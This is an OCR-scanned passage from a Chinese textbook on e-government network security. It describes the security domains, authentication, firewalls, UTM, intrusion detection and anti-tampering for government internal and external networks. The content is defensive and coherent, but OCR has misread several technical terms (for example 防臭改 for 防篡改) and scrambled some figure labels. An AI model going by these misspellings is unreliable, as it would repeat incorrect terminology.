政务 专 网 、 专 线 、VPN 


图 13-4 电子 政务 内 网 系统 构成 
CL) 政务 内 网 网 络 平台 。 电 子 政务 内 网 建设 是 依托 政务 专 网 专线、VPN 构造 的 电子 
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政务 内 网 网 络 。 
(2) 电子 政务 内 网 应 用 。 在 安全 支撑 平台 的 作用 下 ,基于 安全 电子 政务 内 网 网 络 平台 ， 


可 以 打造 安全 电子 政务 办 公平 台 、 安 全 电子 政务 信息 共享 平台 。 

(3) 安全 支撑 平台 。 安 全 支撑 平台 由 安全 系统 组 成 ,是 电子 政务 内 网 信息 系统 运行 的 
安全 保障 。 

2) 建议 拓扑 图 

电子 政务 内 网 按照 等 级 保护 标准 要 求 ,进行 安全 域 的 划分 。 根 据 不 同 的 划分 原则 ,大 致 
可 以 分 为 网 络 基 础 架构 区 ` 安 全 管理 区 .数据 处 理 区 ,边界 防御 区 、 办 公 区 、 会 议 区 等 安全 子 
区 域 ,在 实际 的 网 络 设计 中 ,可 以 根据 相关 标准 ,按照 实际 需要 进一步 细 分 ,如 图 13-5 所 示 。 


三 级 政务 内 网 建议 拓扑 图 


HINT AIRS ”全 局 安全 认证 及 地 址 
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图 13-5 三 级 电子 政务 内 网 建议 拓扑 图 


划分 安全 域 的 目标 是 针对 不 同 的 安全 域 采 用 不 同 的 安全 防护 策略 , 既 保证 信息 的 安全 
访问 ,又 兼顾 信息 的 开放 性 。 按 照应 用 系统 等 级 数据 流 相 似 程度 、 硬 件 和 软件 环境 的 可 共 
用 程度 、 安 全 需求 相似 程度 ,并 且 从 方便 实施 的 角度 .将 整个 电子 政务 业务 系统 分 为 不 同 的 
安全 子 域 区 ,便于 由 小 到 大 、 由 简 到 繁 进行 网 络 设 计 。 安 全 域 的 划分 有 利于 对 电子 政务 系统 
实施 分 区 安全 防护 , 即 分 域 防 控 。 

3) 安全 支撑 平台 的 系统 结构 

电子 政务 安全 支撑 平台 是 电子 政务 系统 运行 的 安全 保障 ,由 网 络 设备 、 安 全 设备 、 安 全 
技术 构成 。 电 子 政务 安全 支撑 平台 依托 电子 政务 配套 的 安全 设备 ,通过 分 级 安全 服务 和 分 
域 安全 管理 ,实现 等 级 保护 中 要 求 的 物理 安全 、 网 络 安全 、 主 机 安全 、 应 用 安全 、 数 据 安全 及 
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备份 恢复 ,从 而 保证 整个 电子 政务 信息 系统 安全 ,最 终 形成 安全 开放 统一 、 分 级 分 域 防护 的 
安全 体系 。 电 子 政务 安全 支撑 平台 的 系统 结构 如 图 13-6 所 示 。 


电子 政务 内 网 应 用 
数据 安全 及 备份 恢复 
电子 政务 内 网 应 用 安 应 用 安全 安 
全 主机 安全 全 
电子 政务 管 —— 服 
安全 支撑 平台 理 网 络 安全 务 
= 物理 安全 
网 络 Sy ee F 
电子 政务 安全 基础 设施 
网 络 


图 13-6 电子 政务 安全 支撑 平台 系统 结构 


4) 安全 支撑 平台 的 系统 配置 

(1) 核心 交换 机 双 归 属 。 两 台 核 心 交换 机 通过 VRRP 协议 连接 , 互 为 元 余 , 保 证 主要 
网 络 设备 的 业务 处 理 能 力 具备 宛 余 空间 ,满足 业务 高 峰 期 需要 。 

(2) 认证 及 地 址 管理 系统 (DCBI)。DCBI 可 以 完成 基于 主机 的 统一 身份 认证 和 全 局 地 
址 管理 功能 。 

O 基于 主机 的 统一 身份 认证 。 终 端 系统 通过 安装 802. 1x 认证 客户 端 ,在 连接 到 内 网 
之 前 ,首先 需要 通过 DCBI 的 身份 认证 , 方 能 打开 交换 机 端口 ,使 用 网 络 资源 。 

@ 全 局 地 址 管理 。 根 据 政务 网 络 地 址 规模 灵活 划分 地 址 池 ; 固定 用 户 地 址 下 发 与 永 
久 绑 定 ; 漫游 用 户 地 址 下 发 与 临时 绑 定 、 自 动 回收 ; 接 和 人 交换 机 端口 安全 策略 自动 绑 定 ; 客 
户 端 地 址 获取 方式 无 关 性 。 

(3) 全 局 安全 管理 系统 (DCSM)。DCSM 是 电子 政务 内 网 所 有 端 系统 的 管理 与 控制 中 
心 , 兼 具 用 户 管理 ,安全 认证 ,安全 状态 评估 ,安全 联动 控制 以 及 安全 事件 审计 等 功能 。 

D 安全 认证 。 安 全 认证 系统 定义 了 对 用 户 终端 进行 准 入 控制 的 一 系列 策略 ,包括 用 户 
终端 安全 状态 认证 ,补丁 检查 项 配置 .安全 策略 配置 终端 修复 配置 以 及 对 终端 用 户 的 隔离 
方式 配置 等 。 

@ 用 户 管 理 。 不 同 的 用 户 、 不 同类 型 的 接 和 人 终端 可 能 要 求 不 同 级 别 的 安全 检查 和 控 
制 。 安 全 策略 服务 器 可 以 为 不 同 用 户 提供 基于 身份 的 个 性 化 安全 配置 和 网 络 服务 等 级 , 方 
便 管理 员 对 网 络 用 户 制 定 差异 化 的 安全 策略 。 

QD 安全 联动 控制 。 安 全 策略 服务 器 负责 评估 安全 客户 端 上 报 的 安全 状态 ,控制 安全 联 
动 设备 对 用 户 的 隔离 与 开放 ,下 发 用 户 终端 的 修复 方式 与 安全 策略 。 通 过 安全 策略 服务 器 
的 控制 ,安全 客户 端 ,安全 联动 设备 与 防 病毒 服务 器 才 可 以 协同 工作 ,配合 完成 端 到 端的 安 
全 准 入 控制 。 

@ 安全 事件 审计 。 安 全 策略 服务 器 收集 由 安全 客户 端 上 报 的 安全 事件 ,并 形成 安全 日 
志 , 可 以 为 管理 员 追 踪 和 监控 整个 网 络 的 安全 状态 提供 依据 。 

其 中 ,安全 管理 系统 代理 ,可 以 对 用 户 终端 进行 身份 认证 、 安 全 状态 评估 以 及 安全 策略 
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实施 的 主体 ,其 主要 功能 如 下 。 

O 提供 802. 1x, Portal 等 多 种 认证 方式 ,可 以 与 交换 机 、 路 由 器 配合 实现 接 和 人 层 、 汇 聚 
层 以 及 VPN 的 端点 准 入 控制 。 

@ 主机 桌面 安全 防护 ,检查 用 户 终端 的 安全 状态 ,包括 操作 系统 版 本 、 系 统 补丁 等 信 
息 ; 同时 提供 与 防 病毒 客户 端 联动 的 接口 ,实现 与 第 三 方 防 病毒 客户 端的 联动 ,检查 用 户 终 
端的 防 病毒 软件 版 本 ,病毒 库 版 本 ,以 及 病毒 查 杀 信息 。 这 些 信息 将 被 传递 到 认证 服务 器 ， 
执行 端点 准 入 的 判断 与 控制 。 

O 安全 策略 实施 ,接收 认证 服务 器 下 发 的 安全 策略 并 强制 用 户 终端 执行 ,包括 设置 安 
全 策略 (是 否 监 控 邮 件 、 注 册 表 ) 、 系 统 修复 通知 与 实施 (自动 或 手工 升级 补丁 和 病毒 库 ) 等 功 
能 。 不 按 要 求实 施 安全 策略 的 用 户 终端 将 被 限制 在 隔离 区 。 

@ 实时 监控 系统 安全 状态 ,包括 是 否 更 改 安全 设置 .是 否 发 现 新 病毒 等 ,并 将 安全 事件 
定时 上 报到 安全 策略 服务 器 ,用 于 事后 进行 安全 审计 。 

© 实时 监控 终端 用 户 的 行为 ,实现 用 户 上 网 行为 可 审计 。 

(4) 边界 防火 墙 (DCFW)。 能 够 对 网 络 区 域 进 行 分 割 ,对 不 同 区 域 之 间 的 流量 进行 控 
制 ,通过 对 数据 包 的 源 地 址 、 目 的 地 址 、 源 端口 .目的 端口 、 网 络 协议 等 参数 进行 检查 ,把 可 能 
的 安全 风险 控制 在 相对 独立 的 区 域内 ,避免 安全 风险 的 大 规模 扩散 。 

对 于 广域网 接 入 用 户 ,能 够 对 他 们 的 网 络 应 用 行为 进行 管理 ,包括 进行 身份 认证 、 对 访 
问 资源 的 限制 ,对 网 络 访问 行为 进行 控制 等 。 

(5) 统一 威胁 管理 (UTM)。UTM 集合 了 防火 墙 . 防 病毒 网 关 、IPS/IDS 入 侵 防御 、 防 
垃圾 邮件 网 关 、VPN(IPsec、PPTP、L2TP) 网 关 、 流 量 整 形 网 关 、Anti-DoS WXGA GA 
证 网 关 、 审 计 网 关 、BT 控制 网 关 、IM 控制 网 关 、 应 用 提升 网 关 ( 网 游 VOIP 流 媒 体 支持 ) ,十 
二 大 功能 为 一 体 。 采 用 专门 设计 的 硬件 平台 和 专用 的 安全 操作 系统 ,采用 硬件 独立 总 线 架 
构 并 采用 病毒 检测 专用 模块 ,在 提升 产品 功能 的 同时 保证 了 产品 在 各 种 环境 下 的 高 性 能 。 
完成 等 级 保护 标准 中 要 求 的 防 病毒 .恶意 代码 过 滤 等 边界 防护 功能 。 

(6) 入 侵 检测 系统 CDCNIDS) 。 入 侵 检测 系统 能 够 及 时 识别 并 阻止 外 部 入 侵 者 或 内 部 
用 户 对 网 络 系统 的 非 授 权 使 用 、 误 用 和 滥用 ,对 网 络 入 侵 事 件 实施 主动 防御 。 通 过 在 电子 政 
务 网 络 平台 上 部 署 入 侵 检 测 系 统 ,可 提供 对 常见 入 侵 事 件 、 黑 客 程序 、 网 络 病毒 的 在 线 实时 
检测 和 告警 功能 ,能 够 防止 恶意 入侵 事件 的 发 生 。 

(7) 漏洞 扫描 系统 。 漏 洞 扫描 系统 提供 网 络 系统 进行 风险 预测 、 风 险 量 化 、 风 险 趋 势 分 
析 等 风险 管理 的 有 效 工 具 ,使 用 户 了 解 网 络 的 安全 配置 和 运行 的 应 用 服务 ,及 时 发 现 安全 漏 
洞 ,并 客观 评估 网 络 风险 等 级 。 漏 洞 扫描 系统 能 够 发 现 所 维护 的 服务 器 的 各 种 端口 的 分 配 、 
提供 的 服务 、 服 务 软件 版 本 和 系统 存在 的 安全 漏洞 .并 为 用 户 提供 网 络 系统 弱点 /漏洞 /隐患 
情况 报告 和 解决 方案 ,帮助 用 户 实 现 网 络 系统 统一 的 安全 策略 ,确保 网 络 系统 安全 有 效 地 
运行 。 

(8) 流量 整形 设备 (DCFS) 。 
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D 控制 各 种 应 用 的 带宽 ,保证 关键 应 用 ,抑制 不 希望 有 的 应 用 。 可 针对 不 同 的 源 IP 
(组 ) 和 时 间 段 ,在 所 分 配 的 带宽 管道 内 ,对 其 应 用 实现 不 同 的 流量 带宽 限制 或 者 是 禁止 
使 用 。 

@ 统计 ,监控 和 分 析 , 了 解 网 络 上 各 种 应 用 所 占 的 带宽 比例 ,为 网 络 的 用 途 和 规划 提供 
科学 依据 。 可 通过 设备 对 网 络 上 的 流量 数据 进行 监控 和 分 析 , 量 化 地 了 解 当 前 网 络 中 各 种 
应 用 流量 所 占 的 比例 ,以 及 各 应 用 的 流量 各 是 多 少 ,从 而 得 知 用 户 的 网 络 最 主要 的 用 途 是 什 
么 等 。 

(9) 其 他 网 络 设备 。 

其 他 网 络 设备 ,可 以 参照 国家 标准 对 应 的 (设备 安全 技术 要 求 ) 进 行 选 型 。 

4. 电子 政务 外 网 建设 方案 

1) 政务 外 网 系统 构成 

电子 政务 外 网 基于 互联 网 ,主要 是 向 公众 提供 相关 行政 服务 ,发布 政府 信息 。 它 的 安全 
支撑 平台 为 电子 政务 外 网 信息 系统 提供 安全 互联 、 接 入 控制 ,统一 身份 认证 ,授权 管理 恶意 
代码 防范 、 入 侵 检测 ,安全 审计 、 桌 面 安全 防护 等 安全 支撑 。 既 要 有 效 保障 互联 网 环境 下 的 
网 络 安全 ,又 要 解决 对 公众 的 开放 服务 ,使 安全 和 开放 在 互联 网 环境 下 达到 有 机 的 协调 统 
一 。 政 务 外 网 系统 构成 如 图 13-7 所 示 。 
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政务 外 网 网 络 平台 
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图 13-7 电子 政务 外 网 系统 构成 


2) 建议 拓扑 图 

电子 政务 外 网 的 拓扑 结构 如 图 13-8 所 示 。 

3) 安全 支撑 平台 的 系统 配置 

为 了 节省 篇 幅 , 对 于 电子 政务 内 网 出 现 过 的 设备 ,如 果 功 能 没有 差异 ,在 此 部 分 将 不 再 
说 明 。 

(1) 边界 防火 墙 (DCFW)。 不 同 于 电子 政务 内 网 ,电子 政务 外 网 的 边界 防火 墙 还 承担 
NAT 功能 。 

(2) 上 网 行为 日 志 系统 (DCBINetLog)。 实 现 用 户 上 网 行为 记录 功能 ,可 实现 记录 上 
网 者 访问 过 哪些 网 站 ,访问 的 URL、 源 /目的 IP、 源 /目的 端口 、 上 网 时 间 及 流量 等 数据 ,从 
而 提供 了 上 网 行为 的 安全 审计 数据 源 ,并 实现 各 种 统计 功能 。 

(3) 网 页 防臭 改 。 电 子 政务 外 网 信息 系统 中 大 多 数 应 用 是 以 Web 网 页 方式 存在 ,网 页 
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13-8 三 级 电子 政务 外 网 建议 拓扑 图 


防 算 改 系统 为 电子 政务 应 用 系统 提供 网 站 立即 恢复 的 手段 和 功能 。 网 页 防臭 改 系 统 可 以 用 
于 阻 断 来 自 互 联网 对 电子 政务 应 用 系统 的 破坏 。 


(1) 安全 体系 结构 理论 与 技术 主要 包括 : 安全 体系 模型 的 建立 及 其 形式 化 描述 与 分 
析 , 安 全 策略 和 机 制 的 研究 ,检验 和 评估 系统 安全 性 的 科学 方法 和 准则 的 建立 ,符合 这 些 模 
型 .策略 和 准则 的 系统 的 研制 (如 安全 操作 系统 、 安 全 数据 库 系 统 等 ) 。 

(2) 网 络 安全 研究 内 容 包括 网 络 安全 整体 解决 方案 的 设计 与 分 析 , 以 及 网 络 安全 产品 
的 研发 等 。 目 前 ,在 市 场 上 比较 流行 的 安全 产品 有 防火 墙 .安全 路 由 器 、 虚 拟 专 用 网 
(VPN) ,安全 服务 器 .PKI、 用 户 认 证 产品 、 安 全 管理 中 心 、 入 侵 检测 系统 (IDS) ,安全 数据 库 、 
安全 操作 系统 等 。 

G) 根据 网 络 系统 的 实际 安全 需求 ,结合 网 络 安 全 体系 模型 ,一 般 采 用 防火 墙 \ 入 侵 检 
测 ,漏洞 扫描 、 防 病毒 .VPN 物理 隔离 等 网 络 安全 防护 措施 。 
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